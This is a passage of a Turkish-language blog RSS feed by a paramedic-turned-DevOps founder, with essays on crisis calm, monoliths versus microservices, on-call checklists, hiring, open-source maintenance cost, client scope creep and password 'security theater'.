            <pubDate>Thu, 03 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir kaza yerinde veya sistem çöktüğünde herkesin yüzüne baktığı o "sakin" kişi olmanın görünmeyen psikolojik yükü.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/en-sogukkanli-insan-olmanin-yalnizligi-kriz-anlarinda-neden-herkes-bana-bakiyor/thumbnail" alt=""> İster bir trafik kazasının ortasındaki paramedik olay yeri amiri olun, isterseniz şirketin tüm müşteri verileri silindiğinde odadaki en kıdemli mühendis (Tech Lead) olun... Kriz anlarının değişmez ve çok garip bir sosyolojisi vardır: İşler kontrolden çıktığında, ortamdaki o devasa panik dalgası aniden durur ve odadaki (veya sokaktaki) tüm gözler tek bir kişiye döner. O kişi sizsinizdir.</p>
<p>İnsanlar kriz anlarında içgüdüsel olarak tutunacak bir dal, ne yapması gerektiğini bilen bir otorite figürü ararlar. Ailesinden birini kanlar içinde gören bir insanın attığı o çaresiz bakış ile; aylardır üzerinde çalışılan ürün lansmanı günü ana sunucular çöktüğünde şirketin CEO'sunun size attığı o dehşet dolu bakış, özünde aynı çaresizliğin farklı yansımalarıdır. "Lütfen bana ne yapmam gerektiğini söyle."</p>
<p>Bir paramedik olarak yıllarca bu anların içinde yoğrulmak, bana bir kriz anında paniğin sadece "zaman kaybı" olduğunu öğretti. Birisi size doğru çığlık atarak koştuğunda veya Slack üzerinden "Her şey patladı, bittik!" mesajları yağdığında, nefesinizi yavaşlatıp ses tonunuzu alçaltmayı öğrenirsiniz. Çünkü siz paniklerseniz, sistemin geri kalanı tamamen çöker.</p>
<p>Ancak kimsenin konuşmadığı, o kahramanlık hikayelerinin ardında saklanan çok ağır bir bedel vardır: En soğukkanlı insan olmanın getirdiği o korkunç yalnızlık.</p>
<p>Siz dışarıdan bakıldığında çelik gibi sinirlere sahip, olayları yöneten, "Şu damar yolunu aç", "Şu sunucuyu yedekten dön", "Hemen bana şu veriyi getirin" diye net talimatlar veren o güçlü insansınızdır. Herkes sizin bu gücünüzden beslenerek sakinleşir. Peki ya siz? Sizin korktuğunuzda, tereddüt ettiğinizde veya ne yapacağınızı bilemediğinizde bakabileceğiniz, sığınabileceğiniz kimse yoktur. İçinizde fırtınalar kopuyor, elleriniz titriyor olsa bile bunu dışarıya yansıtma lüksünüz yoktur. Çünkü o "Lider" maskesini bir saniyeliğine bile indirirseniz, etrafınızdaki herkes umudunu kaybeder.</p>
<p>Bu durum, yıllar içinde insanı tuhaf bir duygusal izolasyona sürüklüyor. Çevrenizdeki insanlar, sizin de aslında onlar gibi kırılgan bir insan olduğunuzu unutmaya başlıyorlar. "O halleder, o zaten hep sakindir" etiketi üzerinize yapıştığında, kendi acılarınızı veya stresinizi paylaşacak alan bulamıyorsunuz. Ambulansın arkasında kalp masajı yaparken veya klavye başında ter dökerken gösterdiğiniz o profesyonel maske, zamanla normal hayatınıza da yapışıyor. En yakın arkadaşınızla dertleşirken bile o analitik, soğuk kriz yöneticisi modundan çıkamadığınızı fark ediyorsunuz.</p>
<p>Bu satırları yazma nedenim de tam olarak bu. Eğer şirketinizde, ailenizde veya arkadaş grubunuzda o her krizde dimdik duran, herkesi sakinleştiren ve sorunları çözen bir "soğukkanlı" insan varsa, onun yanına gidin ve sadece nasıl olduğunu sorun. Çünkü bir kriz anında herkesin ona ihtiyacı vardır; ama kriz bittiğinde ve herkes rahat bir nefes alıp dağıldığında, o çelik gibi insanın içindeki yorgunluğu tek başına taşıması gerekir. Omuzlarında başkalarının çaresizliğini taşıyan insanların, en çok sığınacak bir limana ihtiyacı vardır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>crisis-management</category>
            <category>paramedic</category>
            <category>isolation</category>
            <category>leadership</category>
            <category>mental-health</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/en-sogukkanli-insan-olmanin-yalnizligi-kriz-anlarinda-neden-herkes-bana-bakiyor/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Mikroservisler (Microservices) Çoğu Şirket İçin Devasa Bir Yalandır]]></title>
            <link>http://localhost:3000/blog/post/mikroservisler-microservices-cogu-sirket-icin-devasa-bir-yalandir</link>
            <guid>mikroservisler-microservices-cogu-sirket-icin-devasa-bir-yalandir</guid>
            <pubDate>Wed, 02 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Günde 100 ziyaretçi alan projeleri bile mikroservislerle parçalayıp yönetilemez hale getiren sektör modasına karşı monolitik mimari savunması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/mikroservisler-microservices-cogu-sirket-icin-devasa-bir-yalandir/thumbnail" alt=""> Teknoloji dünyasında herkesin gizliden gizliye Netflix, Spotify veya Uber olmak istediği bir sır değil. Konferanslarda, YouTube videolarında ve Medium makalelerinde bu teknoloji devlerinin kendi devasa sorunlarını nasıl "Mikroservis (Microservices)" mimarisiyle çözdüklerini dinliyoruz. Sonra ne mi oluyor? Daha ürün/pazar uyumunu (Product-Market Fit) bile bulamamış, toplamda 3 tane yazılımcısı olan küçük bir startup, basit bir e-ticaret uygulamasını 15 farklı mikroservise bölerek kodlamaya başlıyor.</p>
<p>Sonuç: Tam bir mühendislik kâbusu ve harcanan milyonlarca lira.</p>
<p>Eskiden "Monolit" (Monolith) dediğimiz tek parça uygulamalar yazardık. Kullanıcı kaydı, ödeme sistemi, ürün listeleme... Hepsi tek bir kod deposunda (repo), tek bir veritabanına bağlı olarak çalışırdı. Kodun içinde bir hata (bug) olduğunda, nerede patladığını bulmak saniyeler sürerdi.</p>
<p>Ancak "Mikroservis" modasıyla birlikte, bu basit sistemi parçalara ayırmaya başladık. Ödeme sistemi ayrı bir uygulama oldu, kullanıcı servisi ayrı, bildirim servisi ayrı. Teoride kulağa harika geliyor: "Ödeme servisi çökerse, sitenin kalanı çalışmaya devam eder!"</p>
<p>Pratikte ise şu olur: Kullanıcı bir ürün satın alır. Sipariş servisi, ödeme servisine ağ üzerinden (network) bir istek atar. O sırada ağda anlık bir yavaşlama (latency) olur, istek zaman aşımına uğrar (timeout). Sipariş servisi "Ödeme alınamadı" der ama aslında ödeme servisi o isteği yarım saniye sonra alıp müşterinin kartından parayı çekmiştir. Müşteri parasını kaybeder ama sipariş oluşmaz (Eventual Consistency problemleri).</p>
<p>Artık sadece kod yazmıyorsunuz; ağ gecikmelerini (Network Latency), dağıtık sistemlerde veri tutarlılığını (Distributed Transactions), servisler arası güvenliği (mTLS), birbirleriyle nasıl haberleşeceklerini (Message Brokers, gRPC) çözmeye çalışıyorsunuz. Eskiden basit bir fonksiyon çağırmak (Function Call) 1 milisaniye sürerken, şimdi o işlemi yapmak için veriyi JSON'a çevirip internet üzerinden başka bir sunucuya göndermek zorundasınız.</p>
<p>Mikroservisler, teknik bir sorunu çözmez; teknik sorunu "Organizasyonel" bir soruna çevirir. Eğer şirketinizde yüzlerce yazılımcınız varsa, herkesin aynı kod deposunda çalışması imkansızlaştığı için mikroservislere geçersiniz. Netflix bunu yapmak zorundaydı. Ama sizin şirketiniz Netflix değil.</p>
<p>Eğer yeni bir projeye başlıyorsanız veya küçük/orta ölçekli bir ekipseniz, yapacağınız en zekice hamle mükemmel bir "Modüler Monolit" (Modular Monolith) yazmaktır. Tek repo, tek veritabanı, tek CI/CD pipeline'ı. Dağıtımı (deploy) kolay, izlemesi (monitoring) kolay, hatasını bulması (debugging) kolaydır. Milyonlarca kullanıcıya kadar da bir monolit ile mükemmel bir şekilde ölçeklenebilirsiniz (GitHub, Shopify ve StackOverflow uzun yıllar monolit olarak çalıştı ve devasa boyutlara ulaştılar).</p>
<p>Gereksiz mimari karmaşıklık, girişimlerin sessiz katilidir. Havalı mimariler uğruna basitliği feda etmeyin. Bırakın monolitler monolit olarak kalsın, inanın bana gece çok daha rahat uyuyacaksınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>microservices</category>
            <category>monolith</category>
            <category>architecture</category>
            <category>devops</category>
            <category>over-engineering</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/mikroservisler-microservices-cogu-sirket-icin-devasa-bir-yalandir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Kriz Anında Neden Asla Koşmam? Bir Paramedik Olarak DevOps Nöbetlerinden Öğrendiklerim]]></title>
            <link>http://localhost:3000/blog/post/kriz-aninda-neden-asla-kosmam-bir-paramedik-olarak-devops-nobetlerinden-ogrendiklerim</link>
            <guid>kriz-aninda-neden-asla-kosmam-bir-paramedik-olarak-devops-nobetlerinden-ogrendiklerim</guid>
            <pubDate>Tue, 01 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Panik ve hız yerine soğukkanlılık ve kontrol listeleri (checklists) ile kriz yönetmenin hem sahada hem sunucu odasında hayat kurtardığı gerçeği.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kriz-aninda-neden-asla-kosmam-bir-paramedik-olarak-devops-nobetlerinden-ogrendiklerim/thumbnail" alt=""> Acil tıp eğitiminin ilk haftalarında hocalarımızın bize öğrettiği ve beyinlerimize kazıdığı altın kural şuydu: "Olay yerine asla koşarak girmeyin." Bu, yeni öğrenciler için anlaşılması çok zor bir kuraldı. Birisi kanlar içinde yatıyor, ailesi çığlık atıyor, saniyeler hayati önem taşıyor ve siz bize "koşmayın" mı diyorsunuz?</p>
<p>Evet. Koşmayacaksınız. Çünkü koşan insan düşünmez.</p>
<p>Koşarak olay yerine giren bir paramedik, ayağını bir moloza takıp düşebilir ve kendisi de hastaya dönüşebilir. Adrenalinle tavan yapmış bir zihinle hastayı değerlendirirken kritik bir bulguyu atlayabilir. Panikle yanlış ilacı yanlış dozda verebilir. Acil tıpta "hızlı" ile "acele" arasında uçurum büyüklüğünde bir fark vardır. Hızlı olmak, ne yapacağını bilip onu verimli bir şekilde uygulamaktır. Acele etmek ise ne yapacağını bilmeden hareket etmektir. Biri hayat kurtarır, diğeri hayat alır.</p>
<p>Bu ders, benim DevOps mühendisi ve şirket kurucusu kimliğime birebir taşındı.</p>
<p>Gece yarısı telefonunuz çalar. PagerDuty veya monitoring sisteminiz size "Production sunucusu yanıt vermiyor" diye bildirim gönderir. O anda içinizdeki ilk dürtü, yataktan fırlayıp panikle bilgisayarı açmak ve aklınıza gelen ilk komutu terminale yazmak olur. "Hemen servisi yeniden başlatayım!", "Şu dosyayı hemen düzenleyeyim!", "Acil veritabanına bağlanıp şu sorguyu çalıştırayım!"</p>
<p>Durun. Koşmayın. Nefes alın.</p>
<p>Panikle çalıştırdığınız o "acil" komut, yanlış sunucuya bağlanmanıza ve sağlam olan sunucuyu da çökertmenize neden olabilir. Hızla düzenlediğiniz o konfigürasyon dosyasındaki bir fazla boşluk (whitespace) veya eksik tırnak, tüm sistemi daha da bozabilir. Sahada gördüm: Yanlış dozda ilaç veren bir sağlık çalışanı ile yanlış sunucuda <code>DROP DATABASE</code> çalıştıran bir mühendis arasında, psikolojik mekanizma olarak hiçbir fark yoktur. İkisi de panikle hareket etmiştir.</p>
<p>Hem acil tıpta hem de DevOps dünyasında bu paniği yenmenin tek silahı "Checklist" (Kontrol Listesi) kültürüdür. Ameliyathanelerde cerrahlar kesiye başlamadan önce bir kontrol listesi okurlar. Pilotlar kalkış öncesi her seferinde aynı listeyi gözden geçirirler. Benim de hem ambulansta hem de sunucu krizlerinde işe yarayan kendi kontrol listelerim var: Hangi sunucudayım? Production mı, staging mi? (Hastanın kimliği doğru mu?) Son yedek ne zaman alındı? (Hastanın bilinen alerjisi var mı?) Bu komutu çalıştırırsam geri dönüşü var mı? (Bu ilacı verirsem geri dönüşü var mı?)</p>
<p>Bu sorular sizi 30 saniye yavaşlatır. Ve o 30 saniye, hayatınızın en değerli 30 saniyesi olabilir. Çünkü o 30 saniye, "Doğru kararı yavaş vermek" ile "Yanlış kararı hızlı verip felaketi büyütmek" arasındaki farktır.</p>
<p>Eğer bir gün gece yarısı sizi uyandıran o alarm çaldığında, içinizdeki o panik sesini duyarsanız, aklınıza benim bu sözümü getirin: Koşmayın. Adım atın, nefes alın, listeye bakın ve düşünerek ilerleyin. Hem sunucu odasında hem ambulansın arkasında en çok hayat kurtaran şey hız değil, soğukkanlılıktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>crisis-management</category>
            <category>checklists</category>
            <category>devops</category>
            <category>paramedic</category>
            <category>on-call</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kriz-aninda-neden-asla-kosmam-bir-paramedik-olarak-devops-nobetlerinden-ogrendiklerim/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Neden Asla '10x Rockstar Developer' İşe Almam (Ve Yerine Kimi Alırım)?]]></title>
            <link>http://localhost:3000/blog/post/neden-asla-10x-rockstar-developer-ise-almam-ve-yerine-kimi-alirim</link>
            <guid>neden-asla-10x-rockstar-developer-ise-almam-ve-yerine-kimi-alirim</guid>
            <pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sektörün takıntı haline getirdiği dahi yazılımcıların şirketlere verdiği gizli zararlar ve gerçek mühendisliğin takım oyunu olduğu üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/neden-asla-10x-rockstar-developer-ise-almam-ve-yerine-kimi-alirim/thumbnail" alt=""> Silikon Vadisi'nin tüm teknoloji dünyasına bulaştırdığı çok zehirli bir efsane var: "10x Rockstar Developer" (Sıradan bir yazılımcının 10 katı iş yapan yıldız geliştirici). Bu efsaneye göre, karanlık bir odada kapüşonlusunu çekip saatlerce aralıksız kod yazan, kimsenin çözemediği o imkansız bug'ları tek gecede çözen ve tek başına koca bir altyapıyı ayağa kaldıran dahi bir mühendis tipi vardır. Şirketler bu efsanevi karakterleri bulmak için İK bütçelerini seferber ederler.</p>
<p>Ben mi? Ben o "Rockstar" yazılımcıyı Suku Tech'in kapısından içeri bile sokmam.</p>
<p>Nedenini anlamak için bu "10x" arkadaşlarla aynı ekipte çalışmış veya onların yazdığı kodu devralmış olmanız gerekir. Evet, bu insanlar gerçekten de inanılmaz hızlı kod yazarlar. Bazen bir haftalık sprint işini cuma akşamı birkaç saatte bitiriverirler. Ama sorun şu ki; arkalarında bıraktıkları şey genellikle devasa bir yıkımdır.</p>
<p>Rockstar developer'lar dokümantasyon yazmaktan nefret ederler. Çünkü onlara göre kod zaten kendini anlatıyordur (spoiler: anlatmıyor). İsimlendirme standartlarına uymazlar, "bunu daha optimize edebilirim" diyerek kimsenin anlamayacağı, okuması işkence olan abartılı (over-engineered) çözümler üretirler. Ve en kötüsü, kod gözden geçirme (code review) süreçlerinde ekip arkadaşlarına yukarıdan bakarlar. "Neden böyle yaptın?" diye sorduğunuzda size öyle bir ego ile cevap verirler ki, ekibin geri kalanı bir süre sonra soru sormayı bırakır.</p>
<p>Sonuç? Şirketteki tüm kritik bilgi o tek kişinin beynine hapsolur (Buna sektörde "Bus Factor" denir). O kişi şirketten ayrıldığında veya tatile çıktığında bütün sistem çöker, çünkü koduna kimse dokunmaya cesaret edemez.</p>
<p>Peki ben kimi işe alırım? Ben "1x", hatta "0.8x" mühendisi işe alırım.</p>
<p>Benim aradığım mühendis, "sıkıcı" kod yazan mühendistir. Standartlara uyan, okunduğunda bir roman gibi anlaşılan, testleri yazılmış, zekasını kanıtlamak için karmaşık algoritmalar kasmayan, basit problemleri basit çözen insanları arıyorum. Benim için iyi bir mühendis, cuma akşamı production'a kod çıkmayan mühendistir. Kodu commit etmeden önce "Bunu benden sonra okuyacak olan kişi ne demek istediğimi anlar mı?" diye durup düşünen kişidir.</p>
<p>Günün sonunda yazılım mühendisliği, kulaklıklarınızı takıp dünyadan koptuğunuz bireysel bir sanat dalı değildir. Yazılım, son derece sosyal bir takım oyunudur. Ürettiğiniz kod, diğer insanların kodlarıyla entegre olacak, diğer insanlar tarafından okunacak ve yıllarca bakımı yapılacaktır.</p>
<p>Bir şirketin yetenekli ama iletişimsiz ve egolu bir dahiyedense; ortalama hızda kod yazan ama iletişim kurabilen, etrafındaki junior'ları eğiten, bilgisini paylaşan ve egosunu kapıda bırakan 3 tane sağlam mühendise ihtiyacı vardır. Çünkü sistemler kahramanlar tarafından değil, birbirine güvenen ekipler tarafından ayakta tutulur. Kahramanlara sadece çizgi romanlarda ihtiyacımız var, sunucu odalarında değil.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>hiring</category>
            <category>team-culture</category>
            <category>tech-lead</category>
            <category>10x-developer</category>
            <category>engineering</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/neden-asla-10x-rockstar-developer-ise-almam-ve-yerine-kimi-alirim/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Açık Kaynak (Open Source) 'Bedava' Demek Değildir: Ödenmeyen Teknik Borçlar]]></title>
            <link>http://localhost:3000/blog/post/acik-kaynak-open-source-bedava-demek-degildir-odenmeyen-teknik-borclar</link>
            <guid>acik-kaynak-open-source-bedava-demek-degildir-odenmeyen-teknik-borclar</guid>
            <pubDate>Sun, 30 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kullandığımız ücretsiz kütüphanelerin aslında şirketlere ne kadar büyük bir gizli bakım maliyeti (maintenance cost) çıkardığı üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/acik-kaynak-open-source-bedava-demek-degildir-odenmeyen-teknik-borclar/thumbnail" alt=""> Yeni bir projeye başlarken, özellikle JavaScript/TypeScript ekosistemindeyseniz, bir geliştiricinin ilk refleksi nedir? İhtiyacı olan her ufak tefek özellik için anında terminali açıp <code>npm install bilmemne-paketi</code> yazmak. Tarih formatlamak mı lazım? İndir bir paket. Butonun rengini mi değiştireceksin? İndir bir paket.</p>
<p>Açık kaynak (Open Source) kod dünyası gerçekten bir mucize. Bizi tekerleği yeniden icat etmekten kurtarıyor ve hızla ürün geliştirmemizi sağlıyor. Ancak sektördeki pek çok genç mühendisin ve özellikle maliyetleri kısmaya çalışan yöneticilerin anlamadığı çok kritik bir denklem var: <strong>Açık kaynak kod bedavadır, ancak o kodu projenizde tutmanın bir maliyeti vardır.</strong></p>
<p>Bir startup kuruyorsunuz, projeye 50 farklı üçüncü parti (third-party) kütüphane ekleyip ürünü iki ayda canlıya alıyorsunuz. Harika bir başarı öyküsü gibi duruyor değil mi? Ancak arka planda saatli bir bomba kurdunuz ve bunun adına "Teknik Borç" (Technical Debt) diyoruz.</p>
<p>Bir kütüphaneyi projenize dahil ettiğiniz an, o kütüphanenin gelecekteki tüm kaderini de projenize bağlamış olursunuz. O "bedava" kütüphaneyi yazan geliştirici yarın projeyi sıkılıp terk edebilir. Altı ay sonra o kütüphanede devasa bir güvenlik zafiyeti (CVE) bulunabilir. Kullandığınız framework'ün yeni versiyonu çıktığında, o çok sevdiğiniz kütüphane uyumsuz hale gelebilir.</p>
<p>Ve işte o an, "bedava" dediğiniz o kod parçasının faturasını ödeme vakti gelmiştir.</p>
<p>DevOps mühendisi ve kurucu şapkamla Suku Tech'i yönetirken en çok mesai harcadığım şeylerden biri "Dependency Hell" (Bağımlılık Cehennemi) dediğimiz bu durumdan kaçınmaktır. GitHub'da yıldız (star) sayısı yüksek diye her kütüphaneyi projenize alamazsınız. Bir noktadan sonra sadece npm paketlerinizi güncellemek, birbirleriyle uyumlu versiyonlarını bulmak ve çıkan güvenlik uyarılarını (dependabot alerts) temizlemek için tam zamanlı bir mühendis çalıştırmak zorunda kalırsınız.</p>
<p>Çok ünlü "Left-pad" krizini hatırlayın. Bir geliştirici, sadece 11 satırlık basit bir kodu NPM'den çektiği için dünya çapında React ve Babel dahil binlerce proje saatlerce çökmüş, build alamaz hale gelmişti. Sadece 11 satır!</p>
<p>Artık kendi projelerimde (ve ekibimden beklediğim standartlarda) kuralım çok basit: Eğer ihtiyacım olan özellik projemin temel (core) iş süreçlerinden biri değilse ve kendim 1-2 gün içinde yazabileceksem, asla dışarıdan bir bağımlılık (dependency) eklemem. Oturup o mantığı kendim yazarım. Çünkü kendi yazdığım 100 satırlık basit kodun tüm kontrolü bendedir. Bozulursa nasıl tamir edeceğimi bilirim.</p>
<p>Özetle, dışarıdan aldığınız her paket (package), aslında sisteminize davet ettiğiniz yabancı bir misafirdir. Açık kaynak dünyasına minnettarız, ancak bedava peynirin sadece fare kapanında olduğunu da unutmamak gerekiyor. Yazılım mimarisinde en iyi bağımlılık, hiç var olmayan bağımlılıktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>open-source</category>
            <category>technical-debt</category>
            <category>npm</category>
            <category>startups</category>
            <category>software-architecture</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/acik-kaynak-open-source-bedava-demek-degildir-odenmeyen-teknik-borclar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[İlk Müşterime Nasıl 'Hayır' Demeyi Öğrendim (Ve Bu Şirketi Nasıl Kurtardı)]]></title>
            <link>http://localhost:3000/blog/post/ilk-musterime-nasil-hayir-demeyi-ogrendim-ve-bu-sirketi-nasil-kurtardi</link>
            <guid>ilk-musterime-nasil-hayir-demeyi-ogrendim-ve-bu-sirketi-nasil-kurtardi</guid>
            <pubDate>Sat, 29 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Her müşteriyi kabul etmenin ve her özel isteği karşılamanın şirketi yıkacağı gerçeğiyle, sahada çok acı bir şekilde nasıl yüzleştiğimin hikayesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ilk-musterime-nasil-hayir-demeyi-ogrendim-ve-bu-sirketi-nasil-kurtardi/thumbnail" alt=""> Suku Tech'in ilk aylarında, ilk müşterilerimden biri geldi ve çok basit bir web sitesi istedi. Anlaştık, fiyatta uzlaştık, işe başladım. Sonra "Abi bir de şu özelliği ekleyebilir misin?" dedi. Eklendi. "Bir de şu sayfayı biraz değiştirsek?" Değiştirildi. "Aslında bir de mobil uygulama da yapabilir misin, aynı fiyata?" Ve ben, inanılmaz bir saflıkla, "Tabii abi, yaparız" dedim.</p>
<p>Çünkü o zamanlar kafamdaki formül çok basitti: Müşteri = Para = Şirketin ayakta kalması. Her müşteriyi memnun etmek zorundaydım. Her isteğe "evet" demek zorundaydım. Çünkü "hayır" dersem müşteriyi kaybederim, müşteriyi kaybedersem para kazanamam, para kazanamazsam şirket batar. Basit bir korku zinciri.</p>
<p>O ilk müşterinin projesi, başlangıçta 2 haftalık basit bir iş olarak planlanmıştı. Sonuçta 4 ay sürdü. Her hafta yeni bir "ufak" istek geliyordu ve her biri projeyi biraz daha karmaşıklaştırıyordu. Scope Creep (Kapsam Kayması) denen bu olgu, startup dünyasının en sinsi katillerinden biridir. Farkında bile olmadan, anlaştığınız işin 10 katını yapar hale gelirsiniz ve bunu orijinal fiyatla yaparsınız.</p>
<p>O 4 ayın sonunda hesabı yaptım: Saatlik kazancım asgari ücretin altına düşmüştü. Üstelik o projeye harcadığım 4 ayda, kabul edebileceğim ve çok daha karlı olabilecek en az 5-6 başka projeyi geri çevirmek zorunda kalmıştım. Yani bir müşteriye "evet" derken, farkında olmadan onlarca potansiyel müşteriye "hayır" demiştim.</p>
<p>O acı tecrübeden sonra çok önemli bir iş kuralı öğrendim: "Hayır" demek, bir müşteriyi kaybetmek değildir. "Hayır" demek, şirketinizi korumaktır. Her müşteriye evet dediğinizde, ekibinizin zamanını, enerjisini ve kaynaklarını dağıtırsınız. Odağınızı kaybedersiniz. Kaliteyi düşürürsünüz çünkü her şeyi aynı anda yapmaya çalışırsınız. Ve en kötüsü, gerçekten değerli olan müşterilerinize yeterli zamanı ayıramaz hale gelirsiniz.</p>
<p>Bugün Suku Tech'te çok net sınırlarım var. Proje başlamadan önce kapsam (scope) yazılı olarak belirlenir ve imzalanır. Kapsam dışı her istek, ek süre ve ek ücret demektir. Bu kural ilk başta "katı" veya "müşteri dostu olmayan" gibi görünebilir ama tam tersidir. Çünkü sınırları net olan bir ilişki, her iki taraf için de sağlıklıdır. Müşteri neyi ne zaman alacağını bilir; ben de neyi ne kadar sürede yapacağımı bilirim. Kimse kimseyi sömürmez, kimse kimseye kızmaz.</p>
<p>En pahalı derslerimi ders kitaplarından değil, sahadan öğrendim. Ve o derslerden en değerlisi şuydu: Bir kurucu olarak en güçlü silahınız "evet" değil, "hayır" demektir. Her "hayır", aslında daha doğru, daha değerli ve daha sürdürülebilir bir "evet"e yer açmaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>startup</category>
            <category>clients</category>
            <category>business</category>
            <category>boundaries</category>
            <category>founder-life</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ilk-musterime-nasil-hayir-demeyi-ogrendim-ve-bu-sirketi-nasil-kurtardi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA['Güvenlik Önlemi' Adı Altında Yaptığımız En Büyük Saçmalıklar]]></title>
            <link>http://localhost:3000/blog/post/guvenlik-onlemi-adi-altinda-yaptigimiz-en-buyuk-sacmaliklar</link>
            <guid>guvenlik-onlemi-adi-altinda-yaptigimiz-en-buyuk-sacmaliklar</guid>
            <pubDate>Fri, 28 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Security Theater (Güvenlik Tiyatrosu) kavramı ve kullanıcıları çıldırtan ama sistemi aslında hiç korumayan sözde güvenlik önlemleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/guvenlik-onlemi-adi-altinda-yaptigimiz-en-buyuk-sacmaliklar/thumbnail" alt=""> Web sitelerinde ve kurumsal yazılımlarda her gün karşılaştığımız, artık kanıksadığımız ama aslında hiçbir güvenlik sağlamayan bazı "kurallar" vardır. Bu kurallar o kadar anlamsızdır ki, sadece yöneticilerin gece rahat uyumasını sağlar. Siber güvenlik dünyasında biz buna <strong>"Security Theater" (Güvenlik Tiyatrosu)</strong> diyoruz. Tıpkı havaalanlarındaki sıvı yasağı gibi; çok büyük bir güvenlik önlemi gibi durur ama gerçek bir saldırganı asla durdurmaz.</p>
<p>Gelin, sektör olarak yıllardır yaptığımız ve artık vazgeçmemiz gereken bu saçmalıklara bir göz atalım.</p>
<p><strong>1. "Şifrenizi Her 30 Günde Bir Değiştirmek Zorundasınız"</strong><br>
Bunu kurumsal şirketler çok sever. Peki gerçekte ne olur? Kullanıcı "Denizhan2026!" olan şifresini mecbur kaldığı için "Denizhan2026!!" yapar. Bir sonraki ay "Denizhan2026!!!" olur. Gerçek bir hacker bu şifreyi ele geçirdiğinde, kullanıcının o ay şifrenin sonuna kaç tane ünlem koyduğunu tahmin etmesi sizce ne kadar sürer? Şifre değiştirme zorunluluğu güvenliği artırmaz, sadece kullanıcıları zayıf ve tahmin edilebilir kalıplar kullanmaya iter. Hatta NIST (Amerikan Ulusal Standartlar Enstitüsü) bile artık "Şifreler ifşa olmadığı sürece düzenli değiştirme zorunluluğunu kaldırın" diyor.</p>
<p><strong>2. Karmaşık Şifre Kuralları (Büyük harf, rakam ve en az bir hiyeroglif içermelidir)</strong><br>
"Şifreniz en az 1 büyük harf, 1 küçük harf, 2 rakam ve en az 1 özel karakter içermelidir." Bu kural yüzünden insanlar şifrelerini hatırlayamaz, post-it kağıtlara yazıp monitörlerinin kenarına yapıştırırlar. Oysa <code>Tr0ub4dor&#x26;3</code> gibi karmaşık görünen kısa bir şifreyi kırmak, bilgisayarlar için çok kolaydır. Ancak <code>kırmızı-kalem-masada-duruyor</code> gibi sadece küçük harflerden oluşan uzun bir cümleyi kırmak (Brute Force ile) yüzyıllar sürer. Biz ise kullanıcıları zorla ilkini seçmeye zorluyoruz.</p>
<p><strong>3. Kod Kötüyken WAF (Web Application Firewall) Arkasına Saklanmak</strong><br>
Birçok startup, uygulamasındaki SQL Injection veya XSS açıklarını kodu düzelterek çözmek yerine, önüne devasa ve pahalı bir WAF (Cloudflare vs.) koyarak sorunu çözdüğünü sanır. WAF elbette faydalıdır ancak bu, evin kapısı kırıken içeri kimse girmesin diye bahçeye güvenlik görevlisi dikmeye benzer. Eğer o güvenlik görevlisi bir an arkasını dönerse veya biri arka bahçeden dolaşırsa evin içi tamamen savunmasızdır. Gerçek güvenlik dışarıda değil, içerde başlar: Veriyi temizle (sanitize inputs), ORM kullan, "Principle of Least Privilege" (En Az Yetki Prensibi) uygula.</p>
<p>Güvenlik, kullanıcıya eziyet etmek değildir. Güvenlik; görünmez, sessiz ve sistemin temeline (architecture) işlenmiş olmalıdır. Kullanıcının klavyesini kırmasına sebep olan CAPTCHA'lar veya anlamsız şifre kuralları sistemi korumaz; sadece kullanıcıyı sizden nefret ettirir.</p>
<p>DevOps süreçlerini tasarlarken her zaman şu dengeyi gözetmek zorundayız: Bir sistemin güvenliği (Security), onun kullanılabilirliğini (Usability) yok ediyorsa, o sistem zaten başarısız olmuş demektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>security</category>
            <category>devops</category>
            <category>passwords</category>
            <category>security-theater</category>
            <category>user-experience</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/guvenlik-onlemi-adi-altinda-yaptigimiz-en-buyuk-sacmaliklar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Stack Overflow Kapansa Dünya Ekonomisi Çöker mi? (Cevap: Evet)]]></title>
            <link>http://localhost:3000/blog/post/stack-overflow-kapansa-dunya-ekonomisi-coker-mi-cevap-evet</link>
            <guid>stack-overflow-kapansa-dunya-ekonomisi-coker-mi-cevap-evet</guid>
